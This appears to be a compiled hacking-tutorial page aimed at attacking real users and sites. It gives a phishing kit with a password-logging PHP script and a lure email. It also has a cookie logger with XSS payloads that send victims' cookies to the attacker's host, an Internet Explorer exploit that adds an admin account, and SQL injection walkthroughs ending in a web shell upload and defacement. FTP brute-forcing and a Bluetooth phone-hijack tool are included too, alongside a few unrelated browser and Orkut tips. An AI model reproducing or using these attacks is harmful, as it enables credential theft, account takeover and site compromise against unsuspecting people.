Phishing Tutorial

What is phishing?

Phishing is considered as fraudulent process through which the attacker tries to acquire the sensitive information of the victim such as login credentials(usernames,passwords),credit card details by masquerading as a trustworthy entity.The process of phishing is carried out by means of email and instant messaging.

Phishing directs the victim to a fake website that looks almost identical to the legitimate site where the user is prompted to enter his credentials.

In this tutorial i will show you how to create a fake page that saves the phished passwords to a text file in your server.

firstly select a site for which you want to create a fake page.The page that is selected should contain fields for entering login credentials.After you are done with it save the page to your computer as domainname.html(name of the domain)-->open the page-->right click on the page to view the source.

Now when the source page opens,you have to search for "action" by pressing CTRL+F.Now you will find

something like

CODE
<form id="loginform" action="https://www.site.com/accounts/login_
authenticate" method="post"
        onsubmit="return(LoginSubmit());">

Replace https://www.site.com/accounts/login_authenticate with mailer.php

To create a fake page we have to manipulated the page by changing the form action.Write the php code below to notepad and save it as mailer.php.

CODE
<?php
header ('Location: https://www.site.com/somelocation ');//*any location you want where the user is to be redirected*//
$handle = fopen("login.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

The above code saves the usernames and passwords to a text file with name login.txt.

So create a blank text file with name login.txt.

Now upload all the three ie..,domainname.html,mailer.php,login.txt to any free webhost like blackapplehost.com or justfree.com.

Copy the URL of the domainname.html which has to be sent to the victim by email.

Now when you are done with the above the next important task is to convince the user to click the link and login.A sample email is shown below.

Dear User ,

We are having some problems with our servers , and we need to confirm each

and every email id now . We are really sorry for the inconvenience but its

very important for you to confirm your email address , if you do not confirm

your email address within 3 days , we may even have to close your account

Click On Your Confirmation Code to Confirm

<*a href="http://www.yourhost.com/domainname.html">:211512<*/a> (remove * in code)

After clicking on the code just enter your email ID and password and sign in.

Sorry For the inconvenience .

Regards ,

When the user clicks the link provided and enters the credentials the username and the password are stored in login.txt.This completes the phishing tutorial.

I forgot to mention one thing-create email id and the username in the free hosting site in such a way that the user should believe that the mail and fakepage URL is legitimate.

Cookie Stealing

What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

Proof of Concept:

The cookie logger:

The following is a cookie stealing script which is to be stored in attacker's host.It recieves the cookie data and stores to a text file.

<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?> 

Save the script as a cookielogger.php in your server.(Any free web hosting sites like justfree.com,x10hosting etc..)
Also create an empty text file and name it as log.txt and upload it.

Now we come to the hardest part where we have to inject a piece of javascript into sites html page,which the victims has to visit.We should now look for a place to post the javascript.

Look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

<script language="Javascript">
document.location="http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie; 
</script> 

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

CODE
<a href="javascript:document.location=
'http://www.yourhost.com/cookielogger.php?cookie='
+document.cookie;">
Click here!</a>

Clicking an image also can activate the script.For this purpose you can use the below code.
CODE:

<a href="javascript:document.location=

'http://www.yourhost.com/cookielogger.php?cookie='

+document.cookie;">

<img src="URL OF THE IMAGE"/></a></center>

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt in your host.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573/

Go to the target site-->open cookie editor-->Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account.

Cross Site Scripting (XSS)

Cross site scripting is an attack performed on the embedded scripts in a page that get executed on client-side but not on server side.it is the process of injecting Javascript and html for the purpose of stealing critical information like user credentials and important details of the person.The stolen information includes user's cookies and login information mainly.

A cookie is a variable that is used to store login credentials and to keep the user logged in.Whenever your cookies are cleared you can no longer stay logged in any site.On a php powered page the cookie looks like PHPSESSID.Whenever a webpage uses PHPSESSID to authenticate its users,the cookie can be stolen using cross site scripting attack.In this way the attacker can spoof using one cookie and hijack his session.

XSS can be considered as a dangerous exploit as most of the web pages are user interactive.For the purpose of interaction the webpage provides fields for comments,search and even feedback.90% percent of user interactive websites are vunerable to this type of attack though some percentage of sites have a high risk of exploitation.

For testing XSS you can inject the script like <h1>welcome</h1> or <script>alert(hello)</script> into search fields,comment fields and feedback forms.If you find the output of the page which looks like a large heading that reads welcome or an alertbox that say's hello

.

To give it a try ,click the link http://testasp.vulnweb.com/Search.asp

Insert the below codes:

code 1: <h1>XSSED</h1>

code 2: <script>alert("XSSED")</script>

code 3: <img src="URL OF THE IMAGE"></img>

code 4: <br><br>Login to proceed:<form action="destination.asp"><table><tr><td>Login:</td><td><input type=text length=10 name=login></td></tr><tr><td>Password:</td><td><input type=text length=10 name=password></td></tr></table><input type=submit value=LOGIN></form>

Where the destination.asp can be script that stores the data entered in the fields.

This code can be injected directly into the url as follows:
http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+
the+form+below+before+proceeding%3A%3C form+action%3D%22test.asp%22%3E%3C
table%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3D
text+ length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3C
td%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput +type%3Dtext+length%3D20
+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput
+type%3Dsubmit+value %3DLOGIN%3E%3C%2Fform%3E

code 5: <script>alert(document.cookie)</script>

To find the vunerable pages we can use some XSS dorks like "inurl:search.php?q="

inurl:com_feedpostold/feedpost.php?url=

inurl:scrapbook.php?id=

inurl:headersearch.php?sid=

inurl:/poll/default.asp?catid=

inurl:/search_results.php?search=

/preaspjobboard//Employee/emp_login.asp?msg1=

pages/match_report.php?mid= pages/match_report.php?mid=

Type any of the dorks into google and input the codes given.

One of the important concept to be discussed is cookie stealing.
For cookie stealing tutorial click here.

Remote Code Execution-Internet explorer

This is a remote user adding exploit.The code below adds a user:user123 with password:hacker and gives administrator privileges.

CODE

<html>
<title> Install Addon </title>

<p>
<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='exploit'></object>
<script language='vbscript'>
adduser="cmd /c net user user123 hacker /add && net localgroup Administrators user123 /add"
exploit.run adduser
</script>
</p>

</html>

Upload it to any free web hosting site and provide the link to the victim to execute it remotely.
This exploit is tested in Windows XP IE version 6 and 7.

Defacing websites-Tutorial

SQL Injection


Finding vunerability:
First of all we need a vunerable site as you all know

To find a vunerable site open google

Type in a dork like "inurl:index.php?id=" (without quotes)


Now click on any site like www.site.com/index.php?id=786

To test the vunerability of the site add a ' at the end of the site

If the site gives an error like

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'84' at line 1"

we can assume that it is vunerable.
Checking the number of columns:
To check the number of columns we do the following

www.site.com/index.php?id=-786 order by 1-- if the page loads normally without any error we proceed below
www.site.com/index.php?id=-786 order by 2-- (no error)
similarly check
www.site.com/index.php?id=-786 order by 3--
www.site.com/index.php?id=-786 order by 4--
www.site.com/index.php?id=-786 order by 5--
www.site.com/index.php?id=-786 order by 6-- =>error

if we get an error at the 6 like "unknown column" that means there exists only 5 columns.
Finding vunerable columns:
To find the vunerable columns we add union all select 1,2,3,4,5-- after www.site.com/index.php?id=-786

NOw the url becomes

www.site.com/index.php?id=-786 union all select 1,2,3,4,5--

after hitting enter we if we see some numbers like 2 4 some where on the page.Then the columns 2 and 3 are vunerable and data can be retrieved from colums 2 and 4

Finding Mysql version:
To find the sql version we replace 2 or 4 with @@version.
Now the url looks like

www.site.com/index.php?id=-786 union all select 1,@@version,3,4,5--

After hitting enter the sql version appears on the page

Lets assume we got 5.0.90-community-log on page which is sql version.
Getting Table names:
To get table names remove @@version from the url and replace it with table_name.

The url now becomes

www.site.com/index.php?id=-786 union all select 1,table_name,3,4,5 from information_schema.tables--

After hitting enter the page shows the tablenames.

Lets us assume we got something like this

comment,log,admin,news,news_comment,members.
To take over the site we data should be retrieved from admin table.
Getting the column names:
To get the column names from the table admin we do the following

www.site.com/index.php?id=-786 union all select 1,column_name,3,4,5 from information_schema.columns where table_name=char(ascii of tablename)--
Converting the tablename to ascii:
Convert the tablename to ascii here

http://www.getyourwebsitehere.com/jswb/text_to_ascii.html

The ascii generated for the table name admin is & #97;&# 100;&# 109;&# 105;&# 110;

Now remove &# and add a , between them

So now it is 97,100,109,105,110

Replace it in the place of ascii of the tablename

Now it is

www.site.com/index.php?id=-786 union all select 1,column_name,3,4,5 from information_schema.columns where table_name=char(97,100,109,105,110)--

You can now see something like

username pwd gender email on page
Getting username and password:
To get the username and password we use

www.site.com/index.php?id=-786 union all select 1,concat(username,0x3a,pwd),3,4,5 from admin-- and hit enter.

At this point we see username and password on page.

In some websites passwords are MD5 encrypted.Decrypt the passwords at www.md5decrypter.co.uk/ or http://www.milw0rm.com/cracker/insert.php

Finding Admin panel:
To find the admin panel use admin panel finder.Download it from here:
http://www.megaupload.com/?d=066ONRML

Uploading shell:
After logging in as administrator you can upload a shell.its gives us access to all the files.

Download c99 shell from here : http://www.zarabyte.com/dl/c99.rar

extract the text file and name it as c99.php and upload it.

If the site does not allow you to upload a .php file,then rename it as c99.php.gif and then upload it.

or else you can even upload a fileuploader to bypass upload limits of the site and then upload the c99 shell.

Download fileuploader from here: http://www.zarabyte.com/dl/uploader.rar

After uploading you have to navigate to it and click it to activate.Then you can see a page showing all the files on the server.

Next you have to search for index.html and replace it with your customized html file.

Now check the homepage.The index.html file which u uploaded appears as the mainpage.This is what Defacing is.

Disclaimer:I am not responsible for any kind of damage you cause by misusing this information.This is for educational purposes only.

Setup windows xp faster

Setup windows XP in just 25 minutes

After setup copies windows files

Then you can see the image below
















At this point we have to bring taskmanager to set the prority of the setup process

So we press shift+F10 to bring the cmdprompt

Then to open taskmanager we have to type in taskmgr

Press enter

Taskmanager appears.Now go to processes

Find setup.exe

Right click and set its priority to High

Now watch setup completes in just 10-12 minutes from this point

Tweak firefox to make it faster

To do this goto firefox

In the address bar type about:config

Then press enter

Then a message appears like "this might void your warranty"

and a button "I ill be careful,i promise"

click it

Search for

network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

Now you have to enable pipelining

Double click on network.http.pipelining to make it true

Do the same for network.http.proxy.pipelining

Now for http.pipelining.maxrequests

Double click it and change the value from 0 to 30






By this the browser makes 30 requests to the webpage as a result of which the page loads faster than before.

Now we have to create a new intezer

Right click any where and select new intezer

nglayout.initialpaint.delay

set its value to 0

This is the amount of delay the browser waits before it acts get the data

Thats it.Now close firefox and restart it for the changes to work

Easiest way to hack websites

Objective:finding admin password of a website
Tools required:
1.exploit scanner
download link :http://www.megaupload.com/?d=KWHLU1JC
2.sqli helper version 2.7
download link: http://rs417.rapidshare.com/files/283992449/SQLIHelperV.2.7.rar
3.Admin panel finder
download link: http://www.megaupload.com/?d=066ONRML
Checking vunerability
1.open exploit scanner and input a dork.for example "inurl:index.php?id=" (without quotes).
2.click scan sites
3.after you obtain a list of sites click "test sites".
4.pick one of the tested sites
Finding admin password
1.open sqli helper
2.input one among the tested site
3.click "inject"
4.wait for a sometime until it checks vunerability--no of columns--my sql version--union support--and after that if my sql version is >5 it asks us to get the database.
5.click "Get database".
6.after it finishes getting database select a database and click "Get tables"
7.after that find the admin table from table list and click "Get columns"(here you can see the columns like user,admin,pwd,password,email something like that
8.select username and password and Click "Dump now"
then you will be able to see the username and password.
If the user name is encrypted in MD5 Go to www.md5decrypter.co.uk/ or www.md5crack.com and crack it.
Finding admin control panel
1.open admin panel finder and input the url of the site for example www.site.com
2.press scan now
3.after finding the admin panel you can login using the username and password.

Screenshot
SQLi helper

How to make a signature in orkut scraps

Create a signature at http://www.gif-mania.net/signatures-animees/

download it to your computer

Now go to http://www.photobucket.com/

Register there.it is a very good site to upload images and share it on internet

Once registered upload the signature to it.

then click on share now

There you can see four types of links

copy the HTML code from it

now go to orkut scrapbook and click on html scrap

Paste the code there and post it

To make the sign align towards right add the code below

DIV align="right">insert your HTML code here /DIV (close the div tags with <>

Song in about me orkut

This is only supported in new orkut

First of all sign in your orkut account

Now go to www.mp3orkut.com

select the song you wish

Now press and hold left mouse button to select the player and press ctrl+c to copy the song.

Go to new orkut--Edit about me

Once in there press ctrl+v to paste it.

Click save

thats it

Now when ever a person visits your profile he can hear the song

Cracking FTP with thc-hydra

Download hydra from http://freeworld.thc.org/thc-hydra/

After downloading hydra move it to C: drive and rename it to hydra

Then you have to download a dictionary file to make a dictionary attack(a dictionary file consists of hundreds commonly used passwords,not only commonly used passwords but many names and numbers)

Find a dictionary text file on google

Place the dictionary file in hydra folder nad rename it to dic.txt

Then to crack FTP we have to find the ip address of the target

To find the ip address of any website go to cmd prompt and type

ping www.site.com

Then you can obtain the ip address of the target site.

Now go to start menu cmd prompt and navigate to hydra folder in c:

cd\
cd hydra
cd:\hydra>

Now to start the attack we use the following command

hydra -l user -P dic.txt -e nS -vV xxx.xxx.xxx.xxx ftp

Where xxx.xxx.xxx.xxx is ip address of the target

Now hydra starts attempting login with username user(as specified in the command line) and each an every word in the dic.txt

When the cracking process is finished you can see the password

Important:For educational purposes only

Easy way to use a proxy

There are three types of proxies
they are:
Transparent Proxy –
IP address can be caught by server using HTTP_X_FORWARDED_FOR variable, such proxies usually used to increase internet speed and decrease amount of abroad traffic.

Anonymous Proxy –
IP address can not be caught by server but server knows that proxy was used during connection. It is very useful to be anonymous surfing in internet .

Elite Proxy –
The best way to hide yourself.IP address cannot be caught by the server.
well the easiest way to use a proxy is to add a foxyproxy addon on firefox
https://addons.mozilla.org/firefox/addon/2464
You can switch between multiple proxy servers at a single click

Hacking Mobiles with bluetooth

This works in most of mobiles which have java application support.

here is the link for downloading the application.

http://www.thomas.hoornstra.org/hack/SuperBluetoothHack_v108.jar.zip

Download the zip file,extract it and dump the jar file into your mobile.
Once if you are connected to another phone you can do the following:
1.call a number with his mobile
2.read his contacts
3.keep it in silent mode
4.play songs in his mobile
5.Change language.
6.read his sms
7.see his dialled,missed and recieved calls
8.Set alarm.
9.change clock time & much more...

Hacking websites with SQL

First of all we have to find a vunerable site

To get a vunerable site we can use a list of dorks,here we take

"inurl:index.php?id="

Goto google and search for "inurl:index.php?id="
click any site for example www.site.com/index.php?id=420

Checking vunerability:

To test the vunerability we add a ' at the end of the url so now it becomes

www.site.com/index.php?id=420'

if it gives an error like

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and status=1' at line 1" or something like that

we can assume that it is vunerable.

Checking the number of columns:

To find the number of columns in its database we have to

do the following

www.site.com/index.php?id=420 order by 1-- if we donot get an error,it means that the column exists
similarly check
www.site.com/index.php?id=420 order by 2-- no error
www.site.com/index.php?id=420 order by 3-- no error
www.site.com/index.php?id=420 order by 4-- no error
www.site.com/index.php?id=420 order by 5-- no error
www.site.com/index.php?id=420 order by 6-- error

ok lets us assume that we got an error at 6 like 'Unknown column' ,this means that the database consists of only 5 columns

Check whether it supports UNION:

now try www.site.com/index.php?id=420 union select 1,2,3,4,5--

if we see some number like 2 3 or something like that on the screen then union works
data can be retrieved from 2 and 3

Finding MySql version:

Replace 2 in the url with @@version

Now it becomes www.site.com/index.php?id=420 union select 1,@@version,3,4,5--

you can find on scrren something like 5.0.37-log which is MySql version
it is different for different sites.For MySql version greater <5 we proceed for next steps

Getting the table names:

For getting table names we have to replace @@version from the above url with group_concat(table_name) and at the end add

+from+information_schema.tables+where+table_schema=database()--

now the url becomes Now it becomes

www.site.com/index.php?id=420 union select 1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()--

after hitting enter we can see something like this

user_admins,user_access,user_groups,user_userinaccess,user_users

which are table names in the database

Getting the column names:

To get the column names in the table we have to replace group_concat(table_name) with
group_concat(column_name)

now the url looks like

www.site.com/index.php?id=420 union select 1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name='users_admins'--

now we can see something like username,password,email (different for different sites)

Getting username and password:

now we replace group_concat(column_name) with group_concat(id,0x3a,pass,0x3a,mail)
and at the end we add from+user_admins--

the url now looks like

www.site.com/index.php?id=420 union select 1,group_concat(id,0x3a,pass,0x3a,mail),3,4,5+from+user_admins'--

after hitting enter we can see username and password on the screen

if the password is MD5hash we decrypt it at
http://www.md5decrypter.co.uk/

List of google dorks

inurl:index.php?id=
inurl:news.php?id=
inurl:show.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:view.php?id=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:article.php?ID=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=